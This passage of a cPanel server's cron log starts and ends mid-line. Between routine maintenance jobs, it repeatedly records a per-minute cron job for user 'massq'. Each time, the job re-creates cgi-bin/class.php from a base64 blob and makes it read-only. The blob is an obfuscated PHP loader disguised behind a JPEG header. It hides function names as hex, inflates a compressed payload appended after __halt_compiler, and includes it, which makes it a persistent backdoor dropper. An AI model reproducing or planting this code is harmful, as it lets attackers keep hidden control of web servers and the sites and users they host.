JpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:12:01 server CROND[26264]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 04:13:01 server CROND[26725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:13:01 server CROND[26726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:13:01 server CROND[26727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:14:01 server CROND[27101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:14:01 server CROND[27102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:14:01 server CROND[27103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:15:01 server CROND[27511]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:15:01 server CROND[27512]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 04:15:01 server CROND[27514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:15:01 server CROND[27523]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 04:15:01 server CROND[27525]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:15:01 server CROND[27528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:15:01 server CROND[27524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:15:01 server CROND[27527]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 04:15:01 server CROND[27526]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 04:16:01 server CROND[28406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:16:01 server CROND[28408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:16:01 server CROND[28407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:17:01 server CROND[28778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:17:01 server CROND[28779]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Sep  1 04:17:01 server CROND[28780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:17:01 server CROND[28781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:18:01 server CROND[29369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:18:01 server CROND[29370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:18:01 server CROND[29371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:19:01 server CROND[29747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:19:01 server CROND[29748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:19:01 server CROND[29749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:20:01 server CROND[30148]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:20:01 server CROND[30150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:20:01 server CROND[30151]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 04:20:01 server CROND[30152]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:20:01 server CROND[30153]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 04:20:01 server CROND[30155]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 04:20:01 server CROND[30157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:20:01 server CROND[30156]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 04:20:01 server CROND[30154]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:21:01 server CROND[30999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:21:01 server CROND[31000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:21:01 server CROND[31003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:22:01 server CROND[31416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:22:01 server CROND[31417]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:22:01 server CROND[31418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:23:01 server CROND[31785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:23:01 server CROND[31786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:23:01 server CROND[31787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:24:01 server CROND[32256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:24:01 server CROND[32257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:24:01 server CROND[32258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCj